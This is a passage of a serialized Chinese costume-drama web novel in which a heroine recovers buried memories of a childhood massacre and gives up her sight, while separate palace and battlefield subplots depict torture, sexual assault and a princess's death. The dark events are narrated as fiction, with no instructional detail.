殊不知这已经是她昏迷的第七日了。
坐起身缓了缓，头还是疼的厉害，可是却还是什么都想不起来，“唉。”轻叹一声，起身走到桌边倒了杯水。
一阵凉风顺着那未关的窗户闯入，吹乱了她的发丝，转头看去，看见了一个熟悉的面孔，顿时瞳孔放大。
“师傅？”
手中的瓷杯滚落，谷清音踉跄着起身朝门口跑去，推开门，就见一个黑发白衣的男子撑着伞站在雨中。
雨滴顺着伞沿滑落，那伞虽遮住了了他的半张脸，这她却再熟悉不过，嘴角微微上扬，泪水说着脸颊滑落，她站在屋檐下看着，却不敢上去。
手微微抬起，想要抓住他。
顿时一股刺痛充斥着她每一寸肌肤，谷清音用力捉着胸口的衣裳，只觉太阳穴一阵阵突突刺痛，模糊中看着那人走来，来不及说些什么就失去意识倒在雨中了。
“绾绾……绾绾……绾绾？”
“师傅！”
谷清音从床榻上弹起，急促的喘息着，身体上的刺痛早已消散，咽了咽口水，抓住花芷的手，语气里满是激动，“花芷。”
“师傅是不是来过？”
“啊？”花芷皱眉抬手抚上她的额头，“绾绾你这是烧糊涂了吧。”
“他……”早就死了啊。
花芷曾亲眼见晋无忧将那块石头放在丘竹尸身的口中的，他现在早就在那座雪山之中吧，怎么会出现在这里，“别吓我啊。”
难道是梦？
为何如此真实？谷清音垂下眼眸，再次染上丝丝失落。
“我有些饿了。”
“好，等我。”说着花芷连忙站起身，朝门外走去。
“嘶。”谷清音掀开被子，看着被白布缠绕住的脚腕，感受着那里传来的丝丝刺痛，不觉心口一紧，“花芷！”
“嗯？”
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都已经都走出去了，又被谷清音提高音量的一声叫唤喊了回去，以为她有什么不舒服，焦急的跑了回去，“怎么了？”
“我的脚怎么了？”
她怎么不记得她有受过伤呢？
“啊？”
“你不记得了吗？”花芷有些后怕的再一次抚上谷清音的额头，难道真的烧糊涂了。
“就是前几日啊。”
见她还是昏迷不醒，她便在旁边的屋子里收拾东西，谁想她居然醒了，还自己跑出去了，等她发现时谷清音正湿漉漉的靠在门边，脚也是那日摔伤的。
也正是这样才染了风寒。
烧了一整夜才好。
“你不记得了？”不会是那日扎针扎狠了，出现什么后遗症了吧。
“没有，我…想起来了。”
花芷这才松了口气，“那就好，我先去给你煮碗面吧。”
“好。”
等这里再次只剩她一人时，才穿上鞋走到桌边坐下，瓷杯送到嘴边却愣住了。
视线死死盯着，桌上这少了一个瓷杯的这一套茶具，“不是梦！”
可她此时却不敢确定了，“真的是师傅吗？”
若是，为何不见她？
可若不是，又为何要来见她！
无力的枕着手臂趴在追子上，看着那紧闭的窗户，眼睛还没来得及闭上，泪水便止不住的落下，“哼嗯。”
“砰！”
手中的瓷杯摔到地上。
“哼嗯……”
“……”
“绾绾？”花芷见她这般连忙走近，将面放在桌上，俯身轻抚着她的背，温声道，“怎么了？”
难道是想起什么了吗？
可谷清音却只轻颤着摇头，什么都不肯说。
“不想说便不说，吃点东西吧。”等谷清音点头她才蹲下身，收拾着地上碎瓷片。
可等她站起身时谷清音看上去已经睡着了。
“绾绾？”轻声叫着，见她没有应答便去取了一件外披盖在她的身上，坐在一旁吃着面陪着她。
过了好几日，谷清音才注意到晋无忧不见了，花芷也不知道他去哪儿了，他走之前也只说有急事过几日再回来。
可这都过了好几日了，也不见他回来。
谷清音也一直追着花芷给她施针，可那日都出现那样的情况了，没了晋无忧帮腔花芷自是没那么容易答应的。
“花芷~”
“就最后一次嘛！”
“哼！”花芷摇了摇头，眼神可谓不是一般的坚定。
她又不是不了解谷清音，今日说话是最后一次可倘若又没想起来呢？她会就此放弃吗？并不会！
花芷可不想看着她在受折磨了。
最害怕的是，在她手上出了意外花芷才是最接受不了的，“我不想看到你和我姐姐落得一样的结果，绾绾。”
“不会的。”
“相信你自己，也相信我。”
“不行。”花芷还是不肯松开，表情难看的起身朝外走去，谷清音连忙起身想要跟上去。
可刚站起来就感受到大脑一阵眩晕。
只是一瞬便缓过来了，连忙追上去拉住了她，“花芷……我只相信你。”
“可若连你也不帮我，那……”她也只能去找别人了，总会有人愿意施针，只是……结果便不是他们能控制的了！
“绾绾？”
“你威胁我？”
52.埋藏多年的真相被挖出
“花芷，我怎么会威胁你。”
“我尊重你的决定，也只是将我的办法告诉你而已。”
两人对视着，纠结一瞬花芷无奈点了点头，“好，晚些时候给你施针。”
“嗯。”
……
等所有稳定了，箫祁政也秘密派人在寻找着谷清音的下落，而此时的青玄宫中，肖念安正无聊的躺在躺椅上小憩，一个宫女便快步走来，跪在了她身侧，“贵妃娘娘，皇后的人正朝着这边来。”
“知道了，退下吧。”
没一会儿，两个看上去有些年长的人便押着一个被黑布套着头的人被引了进来。
“奴婢请贵妃娘娘安。”
“这人是？”
“皇后娘娘吩咐奴婢将此人送来，说是从前答应贵妃娘娘的。”说着她用力将黑色布袋扯下，莲心被堵住嘴，生无可恋的眼神暴露在空气中。
“哼。”
“起来吧。”轻笑一声，肖念安冲旁边的小丫鬟使了个眼色，她连忙上前给那两人塞了银子，将两人送了出去。
等人离开，莲心便抬手将塞在嘴中的东西扯出扔到一旁，“砰！”她的头重重磕在地上，“奴婢有罪。”
“哼。”
“让本宫好好听听，你有何罪？”
“奴婢不敢在景王殿下重病时照顾她，不该让景王殿下爱……”
“行了。”
肖念安可没空听她在这里讲这些废话，慢步走到她身边蹲下身，原本想伸手捏住她的下巴，脸上浮现出一丝嫌弃的表情，也打消了这个念头，“头抬起来。”
“是。”
“知道本宫为什么要抓你吗？”
“因为从前奴婢抢了娘娘的未婚夫。”莲心脸上什么表情都没有，好像做错事的真的是肖念安一般。
“哼。”
肖念安自然不会如此便动怒，轻轻挑眉，嘴角微微上扬，“你傻不傻啊。”
“你当真以为我不知道吗？”
箫轻尘受伤真的是意外吗？为何莲心被救他紧接着便又受伤甚是昏迷不醒，醒了刚好又失忆了，好巧不巧的还只忘了肖念安。
什么都记得，却只忘了他们的曾经，还有……“她给你的那块玉佩。”
“你们当真以为我天真到什么都不知道？”
“哼！”轻笑一声，看着莲心眼中的惊恐，只觉她可怜的很，“唉，你真傻。”傻的可怜……可恨。
肖念安曾求箫祁政将莲心交给她，可他不肯，真不知他们究竟做了什么，让箫轻尘如今还想着救她呢。
“如今你逃不掉了！”
“来人。”肖念安站起身往后退了几步，莲心也正好扑来个空，挣扎着被人捂住嘴拖了下去。
将她拖进小黑屋，手脚被绑在椅子上，任她如何挣扎也只是给自己找不好受罢了。
“啊！”
一根根细小的银针刺进她的血肉，将会随着她的一举一动朝着她的心脉而去，让她生不如死，求死不能。
夜色如水，明月当空。
点点繁星在夜空中闪烁着。
谷清音躺在床榻上，一旁的香已然过半，那紧皱眉头也在诉说着此刻她并不好受。
香燃尽的那一瞬，眼泪也跟着从眼角滑落。
“绾绾？”
花芷的声音在耳边响起，这才缓过神来睁开了眼，可泪水早已打湿花芷的肩头，“是…想起来了吗？”
“嗯。”
“我……”谷清音的眼神变得空洞无神，说话时的声音也哑了，“原来不姓谷……”
“我姓……”花，原来她才是苏白英的亲女，至于叫什么已经不重要了，可这件事她不能告诉花芷，这对她们太不公平了，或许……遗忘总是有道理的。
“什么？”
谷清音的声音，声音太小，花芷没有听清她在说什么，便又贴近了些。
“没什么。”反应过来，谷清音连忙起身摇了摇头，抬手胡乱擦拭着脸上的泪水，却发现花芷早已替她擦干净了。
“花芷！”
“嗯？”
谷清音抱住旁边的人，泪水再次滑落，“对不起。”
“什么啊？”
花芷有些稀里糊涂的，完全没明白她话里的意思，谷清音也只是再次摇头，未做解释。
“我都想起来了。”
“从前我……”并没有学医的天赋，可花锦体弱苏白英便将她送走，领了一个孤儿回去。
谷清音被寄养在苏白英的故友江氏，江孟书的家中也有一个同她一般大的孩子，也就是如今所谓的沈相之女沈明昭。
小孩子总是很快便能玩到一起的。
直到那日……
那是新皇登基第二年，沈相不满肖暮云与肖权的所作所为，上奏弹劾，可……朝堂之上早已被她们控制，支持沈溢之的有但被肖权警告后便没人敢站出来。
沈溢之怎愿助长他们的威风。
三次上奏，次次无果，终于……再一次下早朝是肖权找上了他。
“沈相……”
沈溢之没好气的转身看着眼前这个年轻人，“作甚？”
“哼。”肖权笑着偏过头，看上去可比沈溢之沉得住气多了，“沈相若是无事可做，便去看看你那好弟弟吧。”
“或许……还能再见最后一面！”
“你！”
不管他说的是否属实，沈溢之已经被不好的预感缠绕，加快了离开的步伐。
而肖权的人还并未赶到。
京城外的沈府，仍是一片祥和，不知接下来会发生什么。
……
“昭昭，我们去找妹妹玩吧。”小谷清音拉着沈明昭的手晃个不停，一双水灵灵的大眼睛眨巴个不停。
“不可以哦，母亲今日出去了，特意嘱咐我要好好待在家里的。”
“啊~”
“那我……”
知道她准备说什么，小沈明昭连忙摇头，“你也不可以出去哦。”
说着，边有人来叫小沈明昭出去，“阿音，你乖乖的，我一会儿来陪你玩儿哦。”
“哦……”
小谷清音撇了撇嘴，看着人离开她便悄悄的跑出去了，跟着记忆的方向朝青鸾山走去，走着走着便被一旁耍猴儿的给吸引过去了。
“哇！”
“啪啪啪！”
“哇哦！”
“小妹妹……小妹妹……”
感受到肩膀被拍了拍，小谷清音回头看去，就见一个带着猴子面具的人将手中的糖葫芦递到她面前，“你的眼睛真好看，送你了。”
“谢谢！”
接过糖葫芦，看戏的心思也没有了，眼神一直落在糖葫芦上，再次抬头时那人已经不见了。
“咦，人呢？”
没看到，小谷清音咽了咽口水举着糖葫芦便跑回去了，刚好看到了出门的小沈明昭跑了过来，“你去哪儿了？”
“呐，好吃的给你吃！”
“谢谢，阿音！”小沈明昭接过糖葫芦，另一只手拉着她朝府里走去。
“好吃吗？”
“嗯。”
“啪
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。”糖葫芦摔到地上，上面的糖全碎了，小谷清音不解的看过去，只觉手上的力道消失，小沈明昭重重向后倒去。
“昭昭！？”
“昭昭！”
……
天色渐晚，乌云低垂，无休止的雨滴向地面砸去，江孟书哭着打开门，将浑身是血的小谷清音从房中丢了出去，重重的摔倒雨中，“你安什么心思啊！”
看着被擦破的手，用力的摇着头。
“我没有！”
“轰隆隆……”
闪电将周围照亮，江孟书身后用白布条遮住眼睛的沈明昭闯入她的眼中。
“轰隆隆——”
巨大的雷声与小谷清音哭声一起响起，“不是我！”
“啊……”
“救命……”
“啊……啊……”
“杀人了！”
……
外头的动静将她们之间的气氛打破，意识到不对江孟书连忙跑到雨中，用力的拽着瑟瑟发抖的小谷清音回了房。
将两人推到衣柜里，“别出声……”
“无论看到什么……”
正说着，小沈明昭小小的手摸索着握住了江孟书，“母亲……我害怕……不要走。”
江孟书哽咽着抚上她一个劲儿摆动的头，“昭昭最听话了……和妹妹一起等阿母好吗？”
“母亲！”
江孟书的衣裳从她那紧握的手中抽出，衣柜门被紧紧关上。
锁住。
“啊！”
“啊……”
过了一会儿，惨叫声越来越近，小沈明昭一手捂着自己的嘴，一手摸索着捂着小谷清音的嘴，一刻也不敢放松。
也不知过了多久，外头没了声音。
可，她们要怎么出去呢？
“啪。”
“啪。”
“啪……”
小谷清音早已昏迷，她用着最后的力气拍打着柜门。
过了好久好久。
“母亲……我……”好像快没有力气了，“母亲…你……”为什么还不来找昭昭啊！
“咔擦！”
开锁声传来，柜门没有一丝预兆的被打开。
“砰！”小沈明昭重重的扑倒在地，隐隐约约看到一个人蹲下了身。
感受到被抱起，小谷清音缓缓睁开了眼，可她却离躺在血泊中的小沈明昭越来越远了，“昭……昭……”她走了昭昭该怎么办啊，可她已经没有力气了，只说出这两个字就彻底昏迷了。
等她醒来时便在神医谷了。
在这之前的事也什么都不记得了。
后面的事情花芷都知道，关于她与苏白英的关系也不打算让花芷知道。
所以……“花芷……”
“原来……”沈明昭并不是生来便看不见的，“是我害了她啊。”
“绾绾。”花芷轻轻拍着她的背，欲言又止，不知该如何安慰。
“帮帮我。”
“唉。”轻叹一声，这……她虽不愿，可她不能拒绝，“好，不过要等你养好身子。”
“嗯……”
谷清音点的头，身子还在颤抖。
渐渐的，花芷拍打的手停下，让已经睡着的谷清音躺下，盖好被褥便起身出去了。
晋无忧倚靠在一旁，盯着她，看样子已经等了有一会儿了。
“想起来了？”
“你不是已经听到了吗？”
“所以呢？”晋无忧微微偏头，看着她的眼中满是探究，“真这么轻易就答应她了？”
53.你我就此别过吧
“这可不像你啊！”
帮她施针都怕谷清音难受，如今居然想都不想就答应帮她将眼睛换给沈明昭了，花芷表情也变得凝重，“关你什么事？”
“哦。”
不过，她现在才注意到，“你何时将头发染黑了？”
“关你什么事。”
“你。”花芷无语睨了他一眼，“哦，所以你回来做什么？”
晋无忧今日回来主要是为了提醒她们宫中的那位估计很快就会找到这里，“你们尽快离开吧。”
“好。”
又过了两日，两人便出发去灵谷寺。
天光微亮，沈明昭穿着一身浅粉色的长纱推开了房门，长发及腰，头上那长发竟比头发还长，不知今日是否会下雨，怀中便抱着一把油纸伞。
微微探头，听到逐渐靠近的脚步声，便没再往外走。
静静等着，直至脚步停在身边。
昭…昭……“沈姑娘。”见她一副警惕的模样谷清音便率先开了口，说明了来意才一同进去。
待沈明昭喝完药躺下，直至睡下谷清音都一直坐在床榻边注视着她。
“绾绾？”
谷清音深吸一口气也接过花芷递来的药，一饮而尽，然后躺在了沈明昭身侧，闭上了眼。
意识渐渐迷糊。
过往之事好像又在脑海中重现，待她再次睁开眼时已是一片漆黑，这也已是他们来灵谷寺的第三日了。
“花芷？”谷清音的手在空中混乱摸索着，想要抓住些什么。
“我在！”
手被握住，她躁动的心才稍微得到一点安抚。
昭…昭…“她醒了吗？”
“还没有。”不过她的情况已经稳定了，花芷也交代了沈家人日后需要注意些什么，若是不想沈明昭醒来时看到，她们现在便可以离开了。
思考一瞬，谷清音点了点头，花芷去收拾了一下便挽着她出去了。
“你怎么来了？”
“怕你们摔死。”说着，晋无忧拽过谷清音便见她背在身后，“愣着干嘛，走了。”
一路上谷清音总会因为一些小动静而一惊一乍的，他们也只是安抚她，没有再说什么。
原来……丘竹看不见时是这样的吗？
不……他的双眼是被活生生剜掉的，他那时应当更加的痛苦，无助。
“到了。”
将人放下，花芷便扶着她一同坐上了马车。
晋无忧在上山之前回过她们的住所了，箫祁政的人已经将那里围住了，回去是没办法回去了，只能去别处了。
“绾绾，我得回鬼市一趟。”
“好，我等你。”
“好。”花芷的指尖轻轻搭在她的眼尾，眼中满是心疼，“绾绾害怕吗？”
“不怕。”
花芷点了点头将谷清音揽入怀中，紧紧抱着，“绾绾……”不怕，那她也不怕。
“再见……”
说完花芷便松开手离开了。
晋无忧带着谷清音回到了他们曾经一起在外游历时住的地方，她却只当是随意找了个地方先住下的。
箫祁政再一次与谷清音错过，便将气全部撒在其他人身上，谷清音也总能从晋无忧口中听到他出兵讨伐邻国，边疆百姓民不聊生的事。
只是……晋无忧的语气不太对劲。
“你是不是做了什么？”
听到这话，晋无忧手上的动作一顿，“我能做什么？”
“你……”
“把手给我。”不等谷清音再说什么，便握住她的手腕，将她的手扯到了面前。
感受到指尖的刺痛，谷清音下意识将手抽回。
“你又要做什么？”
“给你下蛊。”
“啊？”谷清音心头一惊，却也只当他又开始说胡话了，“你就是闲的。”
见晋无忧不再说话，谷清音轻叹一声，“我说真的，你同……”箫祁政之间是不是有着什么不可告人的秘密。
“我也说真的。”
“随你。”
摸索着起身，像往常一样躺在院子里发躺椅，晒太阳。
过了一会晋无忧便端着一碗黑漆漆的东西走到了谷清音身边，刚递过去便闻到了一股……酒味？
“什么？”
“喝了就知道了。”
谷清音咽了咽口水，一番纠结过后还是选择接过来一饮而尽。
只是……这碗都还没来的及递回去呢，谷清音就醉的昏睡过去了，还好晋无忧眼疾手快接过了瓷碗。
“喂。”晋无忧伸出手戳了戳谷清音，见她依旧没有反应又举起那空碗闻了闻，“看来还得改进一下。”
等谷清音醒来时只觉头痛欲裂。
晃了晃脑袋起身，一个踉跄直接跪在了地上。
“醒啦！”
“来吃点东西。”
揉着膝盖站起身，朝着声音传来的方向走去，待她走近晋无忧便将凳子踢到了她的腿边。
坐下，接过他递来的调羹，一手扶着还在冒热气的碗，对了……“我睡了多久？”
“就两天吧。”
“啊？”谷清音抿了抿嘴，睡……昏迷了这么久，这是给她喝的那碗酒里下药了吧。
吃着米粥，晋无忧将一个盘子推到她手边又起身离开了，正吃着谷清音又闻到了那股熟悉的……酒味！
“嗯？”
“尝尝。”
“不尝！”谷清音放下手中的调羹，坚定的摇了摇头，她可不想又昏迷个两天了。
像是看出了她心中所想，晋无忧劝道，“我改良了的，保证不会让你又睡两天的。”
“快尝尝。”
那碗已经被推到她手边了，无奈端起。
浅尝了一口，“嗯？”味道是不一样了，再次一饮而尽，“怎么感觉……”头晕乎乎的呢。
想着再去床上躺会。
“砰！”
刚站起身整个人就砸到了地上。
晋无忧重新将她抱回床榻上放好，又出来了。
夜色悄然而至，明月高挂，青玄宫中肖念安刚刚歇下，那小侍女便急急忙忙的走了进来，跪在床榻边，“贵妃娘娘。”
“说。”
“那位……她快不行了。”
“知道了。”肖念安坐起身，抬手轻轻摆了摆，那人便出去了。
思考一瞬，随意披了件衣裳便出去了。
“啊……啊…啊……”
走到门口停下，莲心痛苦的低吼声便传到她的耳中，推开门走近，顺着洒在地上的月光朝里走。
只有一盏欲灭不灭的烛火在她身旁摇曳。
她的手腕早已因为挣扎而变得红肿不堪，看上去没有一点外伤，可她却痛的青筋暴起。
“感觉怎么样？”
“特…别…好……”
“哈哈。”肖念安端起一个茶杯坐在她的旁边静静看着，“确实。”她在肖暮云身边挑拨离间时就该想到自己的下场。
肖念安翘起二郎腿，倚靠着，“没有人能救你了。”还有什么要说的便说了吧。
“哼……你杀了我轻尘只会更厌恶你！”
厌恶？想到那日箫轻尘说的话，她不禁皱起眉头，可……“我为什么要在乎他的看法！”
她之所以会这样对莲心，与箫轻尘没有半点关系，而是莲心做了不该做的事，还动了不该动的心思，“若是你这般在意他……”
“那……”箫轻尘曾答应她，若是负她便要吞一千根银针的，“你便替他受了吧。”
只是可惜现在没有银针了，那……“砰！”
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肖念安手上的茶杯滑落，摔了个稀碎。
“来人。”
肖念安站起身给侍女让开了位置，垂眸看着地上的碎瓷片，“喂她吃掉。”
“若是剩了……你就吃掉。”
“是。”
肖念安抬步走出去，背对着房间站着，听着里面的惨叫声，身子也不自觉的颤抖着。
“啊……啊…呜呜呜……呜呜…唔…唔……”
里面的声音越来越弱，直至完全消失，浑身是血的侍女才快步走出来跪到肖念安脚边。
垂眸看去，只见她颤抖着的满是血液的手上是大大小小的伤口，可她的脸上没有一丝害怕或其他的表情，“放心，我会让人好好照顾你的家人。”
“奴婢多谢贵妃娘娘。”
咽了咽口水，回头。
与莲心那瞪大的眼睛对视上了，她的身上也满是血迹，嘴里塞满了瓷片，嘴角也已被割开……还有……还有……
深吸一口气，连忙别过头不敢再看。
“收拾干净。”
“是。”
肖念安咽了咽口水，用力掐着自己止不住颤抖的手，快步走回来自己的寝殿。
脱掉衣服随意扔在地上，爬到床榻上躺下了。
翌日，朝阳东升，金灿灿的光撒下，所有的一切都已恢复如初。
“嘶。”
迷迷糊糊起身，抬手轻轻按着太阳穴，“晋无忧！”
“诶！”
“来吃东西吧。”
谷清音气的抓起身上的被褥就扔了出去，“你幼不幼稚啊！”
没听见他说话了，摸了摸空空的肚子，无奈起身，却踩到了刚刚扔出去的被子，“砰！”谷清音整个人都扑到了地上。
“哈哈哈！”
“咳咳！”
晋无忧吃着东西笑她，一个没注意就呛到了。
“活该。”没好气的坐在桌前，随意抓了一个不知道是什么的糕点放到了嘴里，随便吃了点儿就抢在晋无忧之前出去了。
她可不想再喝那些奇奇怪怪的酒了。
今日这阳光洒在身上真舒服啊！
只是……有些人来的就不合时宜了，“滚！”晋无忧的脚步声和那味道一同过来，谷清音最后的那点好心情都没有了。
“这次肯定不醉的。”
“呵，不信。”
“真的。”
“哦，真的就真的呗，真的我也不喝了。”
见她如此决绝，晋无忧思考一瞬有了办法，“你不喝我喝，反正辜负的是哥哥的心意。”
“诶！”
“给我。”
就知道这招有用，挑了挑眉便将碗递了过去。
接过碗，观察着。
谷清音晃了晃脑袋，有点晕晕的，不过对比前两次好多了。
用过晚膳，晋无忧又端着他那破碗找到了谷清音，“喝了。”
“哦。”
知道是丘竹的意思谷清音自是不会拒绝的了。
喝完后晋无忧塞给她一个瓷瓶，这里面有三粒药，每吃一粒可以恢复一个时辰的视力，但是只有三粒，“一定要想清楚了再吃哦。”
“哦。”
踉跄着回房将瓷瓶放在枕下。
可是她太困了，坐在地上睡了一会儿。
黑夜笼罩大地，点点星光闪烁，谷清音迷迷糊糊睁开眼，却能迷迷糊糊的看到屋子的轮廓了。
“这……”
有些激动的站起身，跑出去。
确实能迷糊视物了，虽然很模糊，可……这很好了。
谷清音抬起手在眼前晃着。
一下。
两下。
三下。
四……一个男子的轮廓闯入，她的手也愣在了半空中。
“你……”
54.她可是公主啊
“等一下！”
“就站在那里，别走……好吗？”
颤抖的声音落地，谷清音有些慌张的转身跑到床榻边，找出晋无忧给她的瓷瓶，倒出一粒药丸送到了嘴里。
渐渐的，眼前的一切再次变得清晰。
胡乱擦拭着脸颊上的泪水，再次站起身跑了出去，就见那个熟悉的人还站在那儿，“我好像真的醉了。”
谷清音迎着风跑了过去。
没给他开口的机会，抬手抚上他的脸，踮起脚尖吻了上去。
闭上眼，泪水再次滑落。
一触即分。
“师傅……对不起……”她该早一点认清自己的心意的，刚睁开眼，头一晕便再一次倒在地上，昏睡过去。
“啧。”
垂眸看着，他的眼神是那样的冷冽，嫌弃的擦了擦嘴，晋无忧便转身离开了这里。
天色渐凉，小雨忽至，淅淅沥沥的落下。
“又梦见……”他了吗？
谷清音从床榻上爬起来，轻轻拍打着脑袋，站起身才发现能迷糊视物了，“无忧？”
找了一圈都没发现晋无忧的人，“出去了？”
等了一会儿见人还没回来，她便去换了一身衣裳，戴上面纱出去了，想着买些吃食。
路站在摊贩前等时旁边的交谈声吸引了她的注意。
“……”
“唉，换了个皇帝苦的却是我们啊！”
“……”
听着，谷清音的眉头不禁皱起，箫祁政为何会这般，按她所了解的……他应当是一位明君才对。
可……
“姑娘！”
“姑娘？好了。”
“好的，多谢。”接过他递来的包子，谷清音只想着快些回去。
可想到那些话，就仿佛有什么东西在狠狠的敲打着她的心脏，难道……真的做错了吗？
确实也正如他们所说，外面如今战乱不断。
今日，也正是战胜之时，而败方正是当初帮助箫祁政的容国。
清离国的旗帜飘扬，火光冲天，士兵们正围着火堆高声阔谈，庆祝着再一次的胜利，慕珂将战俘关好正准备回自己的营帐，可附近一些不可描述的声音却显得有些格格不入了。
“呜呜……救……唔……”
带了几个人压低声音朝着声响处，就见三个穿着清离国士兵服的人围着什么，不用看都知道他们在做些什么，“你们在做什么？”
慕珂的声音一出，那些人连忙停下了手上的动作，着急忙慌的提起裤子站成一排，“公子，我们……”
“这……”也没想到慕珂没跟那些人一起。
他们还想拦着慕珂不让她看，如今什么时候了还如此不让人省心，绕过三人看去，那双绝望的双眼闯入，在这黑夜中格外的亮。
时间静止了两秒，感觉要窒息了般，解下身上的披风给躺在地上，残破不堪的箫婉兮盖上，狠狠的瞪着那三人。
“你们……”她可是清离国的长公主啊，怎么能这样侮辱她，“全部压下去。”
“听候发落。”
“是。”
“公子饶命啊……公子……”
慕珂将失了神般的箫婉兮扶起，揽在怀里，颤抖的手为她整理着杂乱的发丝，“对不起，我来晚了。”
“不……”怪你的。
箫婉兮那浑浊的眼神看向崩溃的不成样子的慕珂，无力的闭上双眼，早已蓄满的泪水滑落。
慕珂将她的脸盖上，便抱着她回了营帐。
“去准备热水和吃食。”
“是。”
将箫婉兮放在床榻上，没一会儿热水便准备好了，“我帮你吧。”
“不。”
箫婉兮惊的坐起身，摇了摇头，“我……我自己来。”
说着她站起身朝旁边走去，慕珂原本想扶她也被躲开了，“那我守着你。”
“嗯。”
慕珂站在屏风旁等着，过来许久，箫婉兮的皮肤都被搓红了，可依旧没有出来的打算，“唉……婉兮。”
“怎么了？”
箫婉兮的声音哽咽，手也更加用力了。
“先出来好吗？”
见她依旧不回话，慕珂只能退步，“这么久水该凉了，先出来，我叫人加些热水好吗？”
“嗯。”
“要我帮忙吗？”
“不要。”
箫婉兮很快便穿好衣裳走了出来，虽说有些局促，好歹也缓过些神了。
“先吃点东西，我给你擦头发，好吗？”
“嗯。”
慕珂刚想伸手去拉她，箫婉兮像是意识到一样绕过她走到不远处的坐下，拿起筷子。
愣了一下，也跟上去坐下了。
“热水。”
慕珂点了点头，伸手擦拭着她脸上的水，不知何时红了眼眶，“好。”
去吩咐人准备热水后便拿了一块干净的手帕替箫婉兮擦着湿漉漉的头发，“再吃点？”
“没胃口。”
沉默着将头发擦干，盘好，便又站在一旁守着她，等了许久许久终于等到了箫婉兮开口。
“他们……你要……”怎么处置。
慕珂自然知道她说的是谁，那画面再一次在脑海中浮现，手不觉握紧，“放心，我会严惩的。”
严惩？
要杀了他们吗？
沉默一瞬……“他们身上有军功。”
箫婉兮知道这不是第一场胜仗了，慕珂并不是主将，若是杀了他们，她定会被人诟病的，等他回去朝中的人也不会放过她的。
“可是……”
“慕珂，他们没有对我做什么……”箫婉兮哽咽的声音越来越小，她连自己都说服不了，又怎么能指望说服慕珂呢。
“婉兮！”
箫婉兮已经换好衣裳走到了慕珂身边。
“嗯。”她的眼睛虽还是红肿的，可泪痕早已洗净，嘴角也挂上了淡淡的笑，“我真的只是被吓到了。”
箫婉兮主动抱住慕珂，安抚着她。
“对不起。”
“慕珂。”箫婉兮摇了摇头，“对不起我的不是你。”而是这个世道……
松开手，微微抬眸。
温柔的擦拭着她脸上的泪水，箫婉兮的笑还是像往常一样，能弥补她内心的空虚，“睡吧。”
“好。”
走到床榻边，慕珂已经躺下了可箫婉兮却仍坐在一旁，没有下一步动作，“不睡吗？”
箫婉兮下意识的扯了扯衣袖，垂下眼眸。
“我还不困。”
“我在这里陪着你好吗？”
慕珂点了点头，今日确实累了，箫婉兮只是拉着她的手轻轻拍了拍慕珂便睡着了。
第二日，慕珂醒来时箫婉兮依旧坐在床边拉着她的手，“你昨晚没睡吗？”
“啊？”
只觉头一阵一阵的发晕，摇了摇头，“我睡不着。”也不敢睡着。
慕珂也意识到有些不对，坐起身，试探着开口道，“婉兮，我……带你回去好吗？”
箫婉兮下意识的点了点头，又摇了摇头，扯出一个十分牵强的笑，“不用，等结束吧。”反正也就这两天了，没必要提前离开。
“好，
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那陪……我出去逛逛？”
“好啊。”
见她没有很抵触慕珂抬手揉了揉她的头，“先吃东西。”
“嗯。”
洗漱完，换好衣裳吃食也送来了。
只吃了一点点便没了胃口，慕珂去找了一块长布将箫婉兮的头和脸都挡住了，只留了一双眼睛在外面，“外面风大。”
“嗯。”
箫婉兮主动挽着她的手臂，与她十指相扣一同走了出去，其实这些地方她看过很多遍了，可与慕珂一起总是不一样的。
走了一会儿，两人坐在一条小溪边，微风轻拂箫婉兮靠在慕珂肩头闭上了眼，不知是睡着了还是不愿说话，慕珂也只是静静看着，没有吵她。
“慕珂。”
“我在。”
“嗯。”箫婉兮点了点头，依旧靠在她的肩头眼神却一直落在水面的倒影上。
“慕珂。”
“我在。”
“哼。”像是被她这正经的样子给逗笑，箫婉兮坐起身转头看着她，手轻轻抚上她的脸颊，两人的视线相交。
只要看到慕珂她的嘴角便会染上笑意。
慢慢靠近。
箫婉兮一顿，收回了手，“我……我饿了。”
“好，我们回去吧。”说着慕珂将她扶起来，拉着她回了军营，亲自下厨给她炒了两个菜。
“尝尝！”
箫婉兮刚夹起送到嘴里就对上了慕珂期待的眼神，下意识点了点头，“真好吃。”
“那就多吃点。”
慕珂将盘子朝她推近了些，在她的注视下箫婉兮也是将菜都吃完了，这是她来这边第一次吃这么多，慕珂的心情也好了不少。
陪着她坐了一会儿慕珂便出去帮忙收拾东西去了。
箫婉兮一个人便趴在桌上发呆。
天黑了慕珂才回来。
“回来了！”箫婉兮听到脚步声便起身迎了过去，“要睡觉了吗？”
“嗯。”
慕珂拉着她走到床边，脱衣服的手一顿，“不和我一起吗？”
“我……”箫婉兮咽了咽口水，身子轻颤了一下，忍着不适笑着摇了摇头。
可是……“我……”太脏了啊，“还不困，你先睡嘛。”
慕珂怕箫婉兮又像昨晚那样，将脱掉的衣服重新穿上，抬手轻轻揉了揉她的头，“那我陪你。”
“嗯。”箫婉兮点了点头有些哽咽，“那……那我们去看星星吧。”
可是……今晚没有星星。
慕珂擦拭着她脸上的泪水，点了点头，“好，我们去看星星。”
找了一个外披给她穿上，便出去了。
外头已经收拾的差不多了，两人还是到了那个小溪边坐下，“明日就要走了吗？”
“对，明日我们就可以回家了。”
“嗯。”
呆呆的看向前方，泪水再次从她那明亮的眼中滑落，“咳咳咳。”
箫婉兮捂嘴轻咳着，顺势将手中的东西咽下，深呼一口气胡乱将泪水擦干净，转头看向身旁的慕珂，可她的眼神始终落在箫婉兮身上。
她什么都看见了。
“你。”箫婉兮的眉头不自觉皱起，滚烫的泪珠蓄满眼眶，在她露出笑容的瞬间滑落。
“怎么又哭了？”
慕珂强压着哽咽的声音，为她擦拭着泪水。
可却像是怎么都擦不完一样。
“我……”
“慕珂……你……能……”
“哼嗯。”她低下头抽泣着，哽咽着说不完一句话，慕珂轻轻为她顺着气，等着她即将说出了的话。
55.你有本事杀了我啊
“慕珂。”
“我…可以……吻你吗？”
没有听到回答，箫婉兮缓缓抬眸，就见慕珂已经靠了过来，微热的唇轻轻贴上，正闭上眼却被用力推开了。
“噗。”
“咳咳。”
“婉兮！！”
一口鲜血吐出，慕珂慌张的将差点倒下的箫婉兮揽入怀中。
“慕……”
鲜血止不住的涌出，箫婉兮用力的捂着肚子，眼神逐渐变得涣散。
“我……”
“对不起……”原谅我还是弄脏了你，可……以后就没有机会了。
微热的泪水滴到了箫婉兮的脸颊上，抬手抚上慕珂搭在她脸颊上的手，“忘了我……”
